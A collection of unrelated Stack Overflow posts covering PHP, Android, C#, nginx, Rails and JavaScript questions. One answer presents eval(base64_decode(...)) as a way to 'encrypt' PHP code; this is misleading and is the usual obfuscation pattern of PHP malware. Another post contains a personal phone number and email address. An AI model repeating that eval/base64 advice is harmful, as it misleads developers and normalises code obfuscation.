secret.php"); die("Redirecting to: secret.php"); } else{ print("Login Failed."); $submitted_username = htmlentities($_POST['username'], ENT_QUOTES, 'UTF-8'); } } ?&gt; </code></pre> <p><strong>Config.php</strong></p> <pre><code>&lt;?php // These variables define the connection information for your MySQL database $username = "xxxx"; $password = "xxxx"; $host = "xxxxxxx"; $dbname = "xxxxxx"; $options = array(PDO::MYSQL_ATTR_INIT_COMMAND =&gt; 'SET NAMES utf8'); try { $db = new PDO("mysql:host={$host};dbname={$dbname};charset=utf8", $username, $password, $options); } catch(PDOException $ex) { die("Failed to connect to the database: " . $ex-&gt;getMessage()); } $db-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db-&gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); header('Content-Type: text/html; charset=utf-8'); session_start(); ?&gt; </code></pre>
14507064	0	 <p><code>GestureDetector</code> allows you to specify <code>OnDoubleTapListener</code> as well as <code>OnGestureListener</code>. The only thing you need to do is implement <code>OnDoubleTapListener</code> and override its <code>onDoubleTap</code> method.</p> <p>Also you can use <code>SimpleOnGestureListener</code> and override only what you want.</p> <pre><code>final Context context = this; final GestureDetector.SimpleOnGestureListener listener = new GestureDetector.SimpleOnGestureListener() { @Override public boolean onDoubleTap(MotionEvent e) { Toast.makeText(context, "onDoubleTap", Toast.LENGTH_SHORT).show(); return true; } @Override public void onLongPress(MotionEvent e) { Toast.makeText(context, "onLongPress", Toast.LENGTH_SHORT).show(); } }; final GestureDetector detector = new GestureDetector(listener); detector.setOnDoubleTapListener(listener); detector.setIsLongpressEnabled(true); getWindow().getDecorView().setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View view, MotionEvent event) { return detector.onTouchEvent(event); } }); </code></pre>
22430130	0	C# Linq-XML find match and replace elements <p>I am writing a quick tool to convert from text to XML.</p> <p>I've created a Dictionary that contains the note number and the new name.</p> <p>I would like to search in the XML for the "INote" value (in the example is "118") and find the corresponding key in the Dictionary and replace the "Name" value (in the example is "Sound 119")</p> <p>The XML structure looks like this </p> <pre><code> &lt;list name="Quantize" type="list"&gt; &lt;item&gt; &lt;int name="Grid" value="4"/&gt; &lt;int name="Type" value="0"/&gt; &lt;float name="Swing" value="0"/&gt; &lt;int name="Unquantized" value="0"/&gt; &lt;int name="Legato" value="50"/&gt; &lt;/item&gt; &lt;/list&gt; &lt;list name="Map" type="list"&gt; &lt;item&gt; &lt;int name="INote" value="118"/&gt; &lt;int name="ONote" value="118"/&gt; &lt;int name="Channel" value="9"/&gt; &lt;float name="Length" value="200"/&gt; &lt;int name="Mute" value="0"/&gt; &lt;int name="DisplayNote" value="118"/&gt; &lt;int name="HeadSymbol" value="0"/&gt; &lt;int name="Voice" value="0"/&gt; &lt;int name="PortIndex" value="0"/&gt; &lt;string name="Name" value="Sound 119" wide="true"/&gt; &lt;int name="QuantizeIndex" value="0"/&gt; &lt;/item&gt; &lt;item&gt; .... &lt;/item&gt; &lt;/list&gt; &lt;list name="Order" type="int"&gt; &lt;item value="0"/&gt; &lt;item value="1"/&gt; &lt;item value="2"/&gt; &lt;/list&gt; </code></pre> <p>And this is my code so far: </p> <pre><code> XDocument outFile = XDocument.Load(outputFile); var currItem = from item in outFile.Descendants("item") select item; foreach (var i in currItem) // this loop is executed many times { var node = i.Element("int"); if (node ==null) continue; var name = node.Attribute("name").Value; var value = i.Element("int").Attribute("value").Value; if (name == "INote") { var str = i.Element("string").Attribute("name").Value; if (str == "Name") { var snd = i.Element("string").Attribute("value").Value; MessageBox.Show(string.Format("{0} - {1} - {2} - {3}", name, value,str,snd)); } } } </code></pre> <p>I have 2 problems : </p> <ul> <li><p>The query : is there a way to perform the checks directly in the query itself instead than in the foreach loop? (as additional info not all the elements contain the element with the "INote" attribute)</p></li> <li><p>The foreach loop : the entire loop is repeated more n time so I get the Messagebox from 0 to n multiple times.</p></li> </ul> <p>Any help would be appreciated.</p> <p><strong>ANSWER :</strong> Thanks everybody, I think I've fixed the problem after some tests :</p> <pre><code> XDocument outFile = XDocument.Load(outputFile); var NamesData = outFile.Root.Elements("list") .Where(x =&gt; x.Attribute("name").Value == "Map") .Elements("item") .Select(y =&gt; new KeyValuePair&lt;XAttribute,XAttribute&gt; ( y.Elements("int").Where(c =&gt; c.Attribute("name").Value == "INote").Select(c =&gt; c.Attribute("value")).FirstOrDefault(), y.Elements("string").Where(c =&gt; c.Attribute("name").Value == "Name").Select(c =&gt; c.Attribute("value")).FirstOrDefault() ) ); </code></pre> <p>I create a KeyValuePair of XAttributes so i can save them back easily :</p> <p>this is the rest of the method btw (Notedefinition it's just a data container)</p> <pre><code> foreach (var data in NamesData) { NoteDefinition newName; if (internalDictionary.TryGetValue(Convert.ToInt32(data.Key.Value), out newName)) { data.Value.SetValue(newName.voiceName); } } outFile.Save(outputFile); </code></pre>
25277657	0	 <p>Look carefully at this line of code:</p> <pre><code>s.send("".join(["NICK",NICK,"\r\n"]).encode()) </code></pre> <p>If you replaced <code>s.send</code> with <code>print</code>, you’d realize it was sending strings like this:</p> <pre><code>NICKnick&lt;CR&gt;&lt;LF&gt; </code></pre> <p>There’s no space! That makes it an invalid command, and makes registration fail. At some point, the server gives up on receiving a valid registration from you, and so sends you an error and closes the connection. So make sure you include a space:</p> <pre><code>s.send("".join(["NICK ",NICK,"\r\n"]).encode()) </code></pre> <p>At least then you’d be sending a valid registration.</p>
16378594	0	PHP-FPM - upstream prematurely closed connection while reading response header <p>Already saw this same question - <a href="http://stackoverflow.com/questions/14193954/upstream-prematurely-closed-connection-while-reading-response-header-from-upstre">upstream prematurely closed connection while reading response header from upstream, client</a> But as Jhilke Dai said it not solved at all and i agree. Got same exact error on nginx+phpFPM installation. Current software versions: nginx 1.2.8 php 5.4.13 (cli) on FreeBSd9.1. Actually bit isolated this error and sure it happened when trying to import large files, larger than 3 mbs to mysql via phpMyadmin. Also counted that backend closing connection when 30 secs limit reached. Nginx error log throwing this</p> <pre><code> [error] 49927#0: *196 upstream prematurely closed connection while reading response header from upstream, client: 7X.XX.X.6X, server: domain.com, request: "POST /php3/import.php HTTP/1.1", upstream: "fastcgi://unix:/tmp/php5-fpm.sock2:", host: "domain.com", referrer: "http://domain.com/phpmyadmin/db_import.php?db=testdb&amp;server=1&amp;token=9ee45779dd53c45b7300545dd3113fed" </code></pre> <p>My php.ini limits raised accordingly</p> <pre><code>upload_max_filesize = 200M default_socket_timeout = 60 max_execution_time = 600 max_input_time = 600 </code></pre> <p>my.cnf related limit</p> <pre><code>max_allowed_packet = 512M </code></pre> <p>Fastcgi limits</p> <pre><code>location ~ \.php$ { # fastcgi_split_path_info ^(.+\.php)(.*)$; fastcgi_pass unix:/tmp/php5-fpm.sock2; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_intercept_errors on; fastcgi_ignore_client_abort on; fastcgi_connect_timeout 60s; fastcgi_send_timeout 200s; fastcgi_read_timeout 200s; fastcgi_buffer_size 128k; fastcgi_buffers 8 256k; fastcgi_busy_buffers_size 256k; fastcgi_temp_file_write_size 256k; </code></pre> <p>Tried to change fastcgi timeouts as well buffer sizes, that's not helped. php error log doesn't show problem, enabled all notices, warning - nothing useful. Also tried disable APC - no effect.</p>
13921007	0	 <p>use this instead to get the result of your request:</p> <pre><code>SoapObject result = (SoapObject)envelope.bodyIn; Log.v("TEST","runs ok attributes "+result.getProperty(0).toString()); </code></pre>
40993656	0	How to relocation the back stack on android <p>I want to <strong>relocation</strong> the back-stack on android application.</p> <p>When I press back key, I want to push history to bottom in back-stack. But I can't found Intent Flag about this.</p> <p>I want to relocation back-stack on android.</p> <p><a href="https://i.stack.imgur.com/lvLOc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lvLOc.png" alt="enter image description here"></a></p> <p><a href="https://developer.android.com/guide/components/tasks-and-back-stack.html" rel="nofollow noreferrer">https://developer.android.com/guide/components/tasks-and-back-stack.html</a></p> <p>When I press Navigate back, I want to push Activity3 in bottom of back-stack. </p> <p>minimize icon (like a Youtube minimize video) <a href="https://i.stack.imgur.com/C0ZPX.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/C0ZPX.jpg" alt="enter image description here"></a></p> <p>right|bottom minimize video view</p>
23610681	0	 <p>Here is one solution I propose which may not be the solution you may want but here it is. Since it's a table and everything comes one after other, what you can do is, through appropriate Jsoup selectors get the following data one after another.</p> <pre><code>Mo Do Mi Do Fr Sa 8:00 9:30 9:45 11:45 Sem Wz J0122 11:30 13:30 CAE Wz J0122 1) SEM Wz J0122 DVI Eer J0326 2) </code></pre> <p>...and so on...</p> <p>Now since you know there are only six working days in a week. You can create a HashMap of String and a LinkedList. String for days of the week and LinkedList for the content which goes in it. In the LinkedList you can first put time and check whether that time has any course following it, then repeat that for all the other timings.</p> <p>So you now have the data structure that all you need to do is call the day of the week (and the timing if necessary) and get the required course.</p>
12451312	0	 <p>That's because <code>~/</code> is supported by the command shell, not the file system APIs.</p>
8703786	0	 <p>I was having this same problem after installing SCSS. I fixed the problem by removing the defult comments that rails places in the header. So this:</p> <pre><code>/* * This is a manifest file that'll be compiled into application.css, which will include all the files * listed below. * * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets, * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path. * * You're free to add application-wide styles to this file and they'll appear at the top of the * compiled file, but it's generally better to create a new file per style scope. * *= require_self *= require_tree . */ #wrapper { width: 980px; margin: 0 auto; } </code></pre> <p>Became this:</p> <pre><code>#wrapper { width: 980px; margin: 0 auto; } </code></pre>
6989024	0	How can I write a request spec with Capybara/RSpec for testing Sunspot/Solr searching? <p>I'd like to write my usual RSpec/Capybara request specs to test search functionality using Sunspot and Solr. I've been digging around but can't find how to get this working. I have the sunspot_test gem installed and have verified that the Products created do exist. The issue seems to be with the indexing, maybe? What am I missing?</p> <pre><code>require 'spec_helper' describe "search" do context "when searching by name/description" do let!(:super_mario_bros_3) { Factory(:product, :name =&gt; 'Super Mario Bros. 3') } let!(:legend_of_zelda) { Factory(:product, :name =&gt; 'Legend of Zelda') } before { Product.reindex; Sunspot.commit } it "should only find games matching the search text", :js =&gt; true, :search =&gt; true do # search_for fills in and submits the search form search_for("Super") # This yields an empty array p Product.search { keyword "super" }.results # These fail page.should have_content super_mario_bros_3.name page.should have_no_content legend_of_zelda.name end end end </code></pre>
18703847	0	 <p>A simple code:</p> <pre><code>$source = "JTNDJTNGcGhwJTIwVGhpcyUyMGlzJTIwdGhlJTIwUEhQJTIwY29kZSUyMCUzRiUzRQ=="; $code = base64_decode($source); eval($code); </code></pre> <p>or even shorter:</p> <pre><code>eval(base64_decode("JTNDJTNGcGhwJTIwVGhpcyUyMGlzJTIwdGhlJTIwUEhQJTIwY29kZSUyMCUzRiUzRQ==")); </code></pre> <p>Do you want to encrypt your code? If so, this is not the right way. Use a accelerator like <a href="http://eaccelerator.net/" rel="nofollow">this one</a> or <a href="http://www.php-accelerator.co.uk/" rel="nofollow">this one</a>. They will crypt your codes and make them even faster!</p>
36384376	0	Passing contents of file to extglob command terminal <p>I have a list of files that I don't want to remove from a location, I have found that by using extglob I am able to keep a pre-defined list of files using:</p> <pre><code>rm -r !(one.txt|Folder) </code></pre> <p>This will remove everything except <code>one.txt</code> and the folder <code>Folder</code>, however the list of files that I want to keep isn't always the same.</p> <p>Is there a way to pass a list of files/folders from a file e.g. <code>whitelist.txt</code> which won't be removed? </p> <p>I have managed to reformat <code>whitelist.txt</code> to have the contents:</p> <pre><code>one.txt|two.txt|Folder </code></pre> <p>However I am unsure of how to pass that into the command</p> <p>Just a note I am running OSX 10.11.</p> <p>Thanks,</p>
21357346	0	I´m using a modal to see my contact info in which there are 4 btn´s which doesn´t always work (Page=UNDEFINED). Can someone help me understand why? <pre><code>&lt;!--Kontakt modal--&gt; &lt;li&gt;&lt;a data-toggle="modal" href="#myModal"&gt;Kontakta mig&lt;/a&gt;&lt;/li&gt; &lt;div id="myModal" class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;!--Titeln i modal--&gt; &lt;h2 class="modal-title" id="myModalLabel"&gt;Kontakta mig&lt;/h2&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;a class="btn btn-default table-responsive glyphicon glyphicon-map-marker" href="https://maps.google.com/maps?q=Moldegatan+1C%2c+Bor%C3%A5s%2c+Sweden&amp;hl=en&amp;ie=UTF8&amp;sll=38.882147%2c-76.99017&amp;sspn=0.014866%2c0.027874&amp;oq=Mo&amp;hnear=Moldegatan+1C%2c+504+32+Bor%C3%A5s%2c+Sweden&amp;t=m&amp;z=16&amp;source=gplus-ogsb" role="button"&gt;Moldegatan 1C 50432 BORÅS&lt;/a&gt; &lt;hr /&gt; &lt;a class="btn btn-default table-responsive glyphicon glyphicon-earphone" href="tel:+0735451624" role="button"&gt;Telefonnummer: 0735451624&lt;/a&gt; &lt;hr /&gt; &lt;a class="btn btn-default table-responsive glyphicon glyphicon-envelope" href="mailto:mr_clavijo@hotmail.com" role="button"&gt;E-mail: mr_clavijo@hotmail.com&lt;/a&gt; &lt;hr /&gt; &lt;div class="intent"&gt; &lt;img src="Content/Bilder/facebook.png" alt="Facebook" /&gt; &lt;a class="btn btn-default" href="http://facebook.com/carlos.clavijo.77" data-scheme="fb://profile/555447256"&gt;Facebook&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;div class="btn-group"&gt; &lt;button class="btn btn-danger" data-dismiss="modal"&gt;Stäng&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- /modal-content --&gt; &lt;/div&gt; &lt;!-- /modal-dialog --&gt; &lt;/div&gt; &lt;!-- /myModal --&gt; </code></pre> <p>// JavaScript. I´m using this so that when using a smartphone or tablet it will open up the aplication istead of the explorer. I´m kind of new to this so please bare with me. </p> <p>When using this function and press one of the buttons in the kontakt modal it works sometimes, but sometimes it shows up as page undefined. What am I missing?</p> <pre><code>(function() { // tries to execute the uri:scheme function goToUri(uri, href) { var start, end, elapsed; // start a timer start = new Date().getTime(); // attempt to redirect to the uri:scheme // it'll stutter for a split second, causing the timer to be off document.location = uri; // end timer end = new Date().getTime(); elapsed = (end - start); // if there's no elapsed time, then the scheme didn't fire, and we head to the url. if (elapsed &lt; 1) { document.location = href; } } $('a.btn-default').on('click', function(event) { goToUri($(this).data('scheme'), $(this).attr('href')); event.preventDefault(); }); })(); </code></pre>
5853378	0	need to help to convert <p>Hi need help to convert this C++ code to C#</p> <pre><code>sprintf((char *)(dataBuffer), "Failed statistics read, device %s", device); </code></pre> <p>The dataBuffer is byte[]</p> <p>I wrote this, but with error converting string to byte[]</p> <pre><code> dataBuffer = string.Format("Failed statistics read, device {0}", device); </code></pre>
36172451	0	 <p>1) it has no sense with OR 2) for AND use , instead</p> <pre><code>if let u = custom["u"] as? String, let url = custom["URL"] as? String { // Do something here } </code></pre>
25680571	0	 <p>Create a getter method in counter class. Then call that method in register class when you need number of students.</p>
29853477	0	 <pre><code>'Create a function Function ASPPostJSON(url) 'declare a variable Dim objXmlHttp Set objXmlHttp = Server.CreateObject("Microsoft.XMLHTTP") 'If the API needs userName and Password authentication then pass the values here objXmlHttp.Open "POST", url, False, "User123", "pass123" objXmlHttp.SetRequestHeader "Content-Type", "application/json" objXmlHttp.SetRequestHeader "User-Agent", "ASP/3.0" 'send the json string to the API server objXmlHttp.Send "{""TestId"": 012345,""Test1Id"": 123456,""Test123"": 37,""Type123"": ""Test_String"",""contact"": {""name"": ""FirstName LastName"",""Organization"": ""XYZ"",""phone"":""123456"",""emailAddress"": ""test@mail.com""}}" 'If objXmlHttp.Status = 200 Then ASPPostJSON = CStr(objXmlHttp.ResponseText) 'end if 'return the response from the API server Response.write(ASPPostJSON) Set objXmlHttp = Nothing End Function 'call the function and pass the API URL call ASPPostJSON("https://TheAPIUrl.com/") </code></pre>
6619701	0	 <pre><code>RewriteEngine on RewriteRule ^(\w+)$ /view.php?somevar=$1 [L] </code></pre> <p>You have to set NAME as the value of some variable.</p> <p>This example allows NAME to be any word.. if you want something specific... just replace \w+ with whatever specific thing you want.</p>
20959727	0	 <p>you could create a class that initializes other classes and then calls the real main method, e.g:</p> <pre><code>public static void main(String[] args) throws Exception { Class&lt;?&gt; mainClass = Class.forName(System.getProperty("mainClass")); for (String className : System.getProperty("initClasses").split(";")) { Class.forName(className); } Method main = mainClass.getMethod("main", String[].class); main.invoke(null, new Object[] { args }); } </code></pre> <p>Then you would start the application with that class as the main class and specify the real main class and the classes to be initialized via properties.</p>
25710837	0	How to write an HTML button which can run both onclick and onserverclick? <p>I have a HTML button which is connected to some external JS and on its onclick events my JavaScript functions would run. The functions consist of some alerts. Now I would like to write my main code which is in C# language but as soon as I write onserverclick event in my button, my onclick events don't work anymore. </p> <p>My button code is:</p> <pre><code>&lt;input runat="server" type="button" id="btn_submit" class="btn_submit" value ="ثبت" onclick="mail_valid()" onserverclick="BtnRegister_Click"/&gt; </code></pre> <p>How can I make both the "onclick" and "onserverclick" event handlers work?</p> <p>Edit: I want to avoid from postback in the button thats why i used html button . </p>
12635935	0	last code changes not present in application server <p><br> Under Eclipse (with Maven and GWT), i have 4 projects. <br> <br> I made modifications in my Java code source. To put my modifications in the application server (a Jonas server), <br> i made a clean / build automatically of all projects, <br> then a GWT compile of the project who contains the entry point. <br> and finally an export WAR of this project who contains the entry point. <br> When i put this WAR on the application server (Jonas), and stop and restart of the server, <br> <b> my last changes are not present in the server !!! </b> <br> <br> However, when i run my GWT application in local (localhost:8080), my last changes are present. <br> <br> <b> Do you have met such a situation ? What can explain it ? </b> <br> Thanks</p>
24252801	0	 <p>To iterate through ENABLE once you have it you should use a simple while loop:</p> <pre><code>while(&lt;ENABLE&gt;){ chomp; //each line read from ENABLE will be stored in $_ per loop } </code></pre> <p>This way you do not need a for loop to iterate. So in essence you would run the "server hostname" command in this while loop:</p> <pre><code>... while(&lt;ENABLE&gt;) { chomp; $ssh-&gt;exec("server $_"); } ... </code></pre> <p><a href="http://perl.about.com/od/perltutorials/a/readwritefiles.htm" rel="nofollow" title="Here">Check here</a> for details.</p>
11975159	0	Command Line Tool to Disable PDF Printing <p>Does anyone know of a "FREE" command line tool that can lock a pdf from a user being able to print it. I need to be able to put this in a batch to loop through a folder and disable printing from adobe standard and reader. Is this possible to do it from command line with any tool? </p>
38598518	0	Word extraction multiline text file <blockquote> <p>Here I have created a code to: Extract indivisual words from a text file, Append only the words with no duplicates into a blank list and Sort them by alphabetical order.</p> </blockquote> <pre><code>fname = raw_input("Enter file name: ") fhandle = open(fname) wordlist = list() counter = 0 for line in fhandle: line = line.split() length = len(line) if line not in wordlist: wordlist.append(line[counter]) counter += 1 if counter == length: break print wordlist.sort() </code></pre> <blockquote> <p>Checking this in Pycharm still gives result 'None' although looking at live execution shows the words sorted in alphabetically ordered list but with duplicated words intact (see figures). I would love to decipher difference between append from file <a href="http://imgur.com/a/Zapbp" rel="nofollow">1</a> and from a variable <a href="http://imgur.com/fpB4DTe" rel="nofollow">2</a>.</p> </blockquote>
33804930	0	 <p>I am very late for this question, but anyway... My guess is that you <em>want</em> to use the Application Factory pattern and use the Flask-Admin. There is a <a href="https://github.com/flask-admin/flask-admin/issues/910" rel="nofollow">nice discussion</a> about the underlying problems. I used a very ugly solution, instantiating the Flask-Admin in the <strong>init</strong>.py file:</p> <pre><code>from flask_admin.contrib.sqla import ModelView class UserModelView(ModelView): create_modal = True edit_modal = True can_export = True def create_app(config_name): app = Flask(__name__) app.config.from_object(config[config_name]) db.init_app(app) # import models here because otherwise it will throw errors from models import User, Sector, Article admin.init_app(app) admin.add_view(UserModelView(User, db.session)) # attach blueprints from .main import main as main_blueprint app.register_blueprint(main_blueprint) from .auth import auth as auth_blueprint app.register_blueprint(auth_blueprint, url_prefix='/auth') return app </code></pre>
32039532	0	 <p>The correct MySQL syntax is:</p> <pre><code>UPDATE allranks ar INNER JOIN therankings r on ar.`Player Name` = r.`Player Name` SET ar.Ranktwo = r.Rank; </code></pre> <p>Notice how the table aliases make the query easier to write and to read.</p>
24304803	0	Gaussian Process, negative hyper-parameters? <p>I'm doing Gaussian Processes for Regression using GPML toolbox. However, after optimization using 'minimize.m' (without mean functions), I get some negative hyper-parameters! </p> <p>The initial hyper-parameters are: </p> <p><code>hyp.cov = [0; 0]; % two hyper-parameters in covariance kernel (length-scale &amp; amplitute) hyp.lik = log(0.1); %hyper-parameters of noise</code></p> <p>The original training data:</p> <pre><code>x=[819 1119 1419 1599 1719 1839 1899 2019 2079 2139]; %coordinates y=[105.00 114.33 126.33 130.33 116.33 103.00 103.00 124.67 122.67 109.00]; %training data </code></pre> <p>In my codes, y are <strong>NORMALIZED</strong> to have zero mean and unit variance. Then optimize:</p> <pre><code>hyp = minimize(hyp, @gp, -100, @infExact, [], {@covSEiso}, likfunc, x,y); </code></pre> <p>After about 100 iterations, I get some negative hyper-parameters!!! It is quite confusing....</p> <p>However, if I don't normalize y, all hyper-parameters will be positive after optimization.</p> <p>Could anyone tell me what does Negative Hyper-parameters mean? Should I normalize the data?</p>
19505287	0	 <pre><code> var jamie = someVarThatCanBeUndefined || 'or maybe not'; </code></pre> <p>You can use the above to do coalescing</p> <p>Here is an answer with more details <a href="http://stackoverflow.com/questions/476436/null-coalescing-operator-for-javascript/476438#476438">Is there a &quot;null coalescing&quot; operator in JavaScript?</a></p> <p>If you wanted short hand notation for <code>if</code></p> <p>Try this instead:</p> <pre><code>boolCondition ? "OneStringForTrue" : "AnotherForFalse" </code></pre> <p>This is often called the </p> <pre><code>Conditional (Ternary) Operator (?:) (JavaScript) </code></pre>
17891153	0	 <p><sub>(Edited to correct my initial misreading of the question.)</sub></p> <p>There's no need to override <code>parse</code> method of the model unless you want to change its structure. But it sounds like you don't need to -- to render the author name, just use <code>author.name</code> in the view:</p> <pre><code>&lt;%= author.name %&gt; </code></pre> <p>As far as initializing the nested collection, your approach is exactly right. All you have to do is convert the JSON object to Backbone models, and pass them to the <code>PostsCollection</code> (the <code>Backbone.Collection</code> constructor accepts an array of Backbone models, <em>not</em> raw JSON). One way of doing this is to use <code>map</code>:</p> <pre><code>var postModels = json.posts.map(function(post) { return new Posts(post); }); var posts = new PostsCollection(postModels); </code></pre> <p>Note that you'll need to do something similar in the <code>initialize</code> method of the <code>Posts</code> model -- retrieve the comments JSON array, and convert it to an array of <code>Comments</code> models:</p> <pre><code>initialize: function() { if (attributes.comments &amp;&amp; attributes.comments.length &gt; 0) { var commentModels = attributes.comments.map(function(comment) { return new Comments(comment); }); this.set("comments", new CommentsCollection(commentModels)); } } </code></pre> <p><a href="http://jsfiddle.net/tQw2n/5/" rel="nofollow">Here is working example.</a></p>
29776864	0	 <p>The RegEx is working as written: </p> <pre><code>/^[^t]{2,2}st$/ </code></pre> <ul> <li>^ assert position at start of the string</li> <li>[^t]{2,2} match a single character not present in the list below Quantifier: {2,2} Exactly 2 times</li> <li>t the literal character t (case sensitive)</li> <li>st matches the characters st literally (case sensitive)</li> <li>$ assert position at end of the string</li> </ul> <p>You also don't need to do {2,2} as that is a range, you can do {2} for exactly 2 matches, or {1,2} for 1 upto 2 matches.</p> <p><a href="https://regex101.com/r/zB1sB3/1" rel="nofollow">REGEX101</a></p> <p>This example should serve as a good illustration of what is occurring within that RegEx.</p> <p><strong>If you are looking for a solution to:</strong> Match any word that does not start with tt (case sensitive) you can use the following:</p> <pre><code>/^(?!tt)\w+$/ </code></pre> <p><a href="https://regex101.com/r/zB1sB3/2" rel="nofollow">PROOF</a></p> <p>Hope this helps.</p>
23046486	0	Auto height a div between two other divs <p>I am going to make a sidebar like Google+ or Facebook sidebar.</p> <p>sidebar is <code>position:fixed; left:0; top:0; bottom:0; width: 250px</code> and has:</p> <p>A header with 50px height<br> A footer with 50px height.<br> A content with dynamic height based on browser height.</p> <p><img src="https://i.stack.imgur.com/C7UTc.jpg" alt="enter image description here"></p> <p>any help?</p>
31605285	0	SQL queries in MySQL using phpseclib <p>I am trying to connect to MySQL database on a remote server and I could successfully connect to the server and login to the MySQL database. But now i need to run few SQL queries on the database tables but facing the error : ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES).</p> <p>I am not sure if the SQL queries are of correct syntax? Also do i need to connect to the server every time i need to run SQL queries? Please provide me with some inputs. Thanks.</p> <pre><code> /* SUCCESS */ $ssh = new Net_SSH2('XX.XXX.XX.XXX'); if (!$ssh-&gt;login('root', 'password')) { exit('Login Failed'); } echo $ssh-&gt;exec('pwd'); /* SUCCESS */ if (!$ssh-&gt;exec('mysql -h localhost -u root -pDataBaseName \r\n')){ exit('Login to MySQL Failed'); }else{ echo "Login to MySQL Success"; } /* ERROR - facing error in this code*/ echo $ssh-&gt;exec('mysql -h localhost -u root -pDataBaseName -e "SELECT * FROM cmu_util_all"'); </code></pre>
10987821	0	Two columns equal height only css (no display: table, table-row, table-cell) <p>In CSS, I can do something like this: <img src="http://s1.ipicture.ru/uploads/20120612/Uk1Z8iZ1.png" alt="http://s1.ipicture.ru/uploads/20120612/Uk1Z8iZ1.png"></p> <p>But I've no idea how to change that to something like: <img src="http://s2.ipicture.ru/uploads/20120612/eI5sNTeu.png" alt="http://s2.ipicture.ru/uploads/20120612/eI5sNTeu.png"></p> <p><em><strong>The height is not fixed</em></strong></p> <p><strong>Please help me do it! Thank you all in advance!</strong></p>
955823	0	 <p>Using a state pattern is an approach you can take for this, but honestly what your describing is part of what the MVC framework was designed to accomplish.</p> <p>Edit:<br> MVP/MVC</p> <p>Since the MVC Framework isn't an option then I would take a look at Model View Presenter pattern (MVP) with either the passive view approach or superviser approach as described here: <a href="http://www.martinfowler.com/eaaDev/SupervisingPresenter.html" rel="nofollow noreferrer">http://www.martinfowler.com/eaaDev/SupervisingPresenter.html</a></p> <p>We found that the passive view approach worked with a little adaptation for our legacy code to work out good for us.</p> <p>Edit: Patterns:</p> <p>In that case then which pattern you choose really depends upon what the business needs are. </p> <p>State pattern:</p> <p>State pattern is typically used for when you need to change the behavior of an object based upon its current state or the state of a relation to the object. A common usage of this pattern is with games when the behavior of the object depends upon which mouse cursor button is pressed.</p> <p><a href="http://en.wikipedia.org/wiki/State_pattern" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/State_pattern</a></p> <p>Strategy pattern:</p> <p>This pattern is good for when you need different implementation based upon a configuration. For example say you are defining an email system and you need to have a different implimentation based upon which email provider is being used to send the email. </p> <p><a href="http://en.wikipedia.org/wiki/Strategy_pattern" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/Strategy_pattern</a></p> <p>So State pattern could definetly be the right direction it just comes down to what the objective is and what behavior's your trying to meet.</p> <p>What you'll often find with patterns is that they work well with eachother and you'll use multiple patterns in conjuction with eachother.</p>
20766271	0	 <p>The code below shows a simple way of doing it by overloading the <code>paintEvent</code> method of the view. Painting of the text should probably use the style mechanism to obtain the font and pen/brush, but I'll leave that up for grabs by a keen editor.</p> <p>It uses Qt 5 and its C++11 features, doing it the Qt 4 or pre-C++11 way would require a QObject-deriving class with a slot to connect to the spin box's <code>valueChanged</code> signal. The implementation of <code>ListView</code> doesn't need to change between Qt 4 and Qt 5.</p> <p><img src="https://i.stack.imgur.com/OU1iW.png" alt="screenshot"></p> <pre class="lang-cpp prettyprint-override"><code>#include &lt;QtWidgets&gt; class ListView : public QListView { void paintEvent(QPaintEvent *e) { QListView::paintEvent(e); if (model() &amp;&amp; model()-&gt;rowCount(rootIndex()) &gt; 0) return; // The view is empty. QPainter p(this-&gt;viewport()); p.drawText(rect(), Qt::AlignCenter, "No Items"); } public: ListView(QWidget* parent = 0) : QListView(parent) {} }; int main(int argc, char *argv[]) { QApplication a(argc, argv); QWidget window; QFormLayout layout(&amp;window); ListView view; QSpinBox spin; QStringListModel model; layout.addRow(&amp;view); layout.addRow("Item Count", &amp;spin); QObject::connect(&amp;spin, (void (QSpinBox::*)(int))&amp;QSpinBox::valueChanged, [&amp;](int value){ QStringList list; for (int i = 0; i &lt; value; ++i) list &lt;&lt; QString("Item %1").arg(i); model.setStringList(list); }); view.setModel(&amp;model); window.show(); return a.exec(); } </code></pre>
14733074	0	 <pre><code>preg_match(";from"&gt;&lt;span class="profile fn&gt;(.?)&lt;/span&gt;&lt;/div&gt;;", $text, $match) </code></pre> <p>... should trigger this:</p> <blockquote> <p>Parse error: syntax error, unexpected '&lt;'</p> </blockquote> <p>Apart from that:</p> <ul> <li><p>You seek for an unclosed attribute that's not in the original text:</p> <p><code>class="profile fn</code> vs <code>class="profile fn"</code></p></li> <li><p>You seek for zero or one characters:</p> <p><code>.?</code></p></li> </ul> <p>Fixed regexp would be:</p> <pre><code>$text = '&lt;div class="from"&gt;&lt;span class="profile fn"&gt;firstnamed familyname&lt;/span&gt;&lt;/div&gt;'; preg_match(';from"&gt;&lt;span class="profile fn"&gt;(.*)&lt;/span&gt;&lt;/div&gt;;', $text, $match); var_dump($match); </code></pre> <p>Of course, this will probably break on large HTML documents (as soon as there's another <code>&lt;/span&gt;&lt;/div&gt;</code> bit later on). Regular expressions are impossible to get right when used for parsing HTML.</p>
10889536	0	 <p>In <code>cBase</code> you should use <code>@Override</code> with the <code>onCreate(Bundle savedInstanceState)</code> method and it MUST also call through to <code>super.onCreate(Bundle savedInstanceState)</code></p>
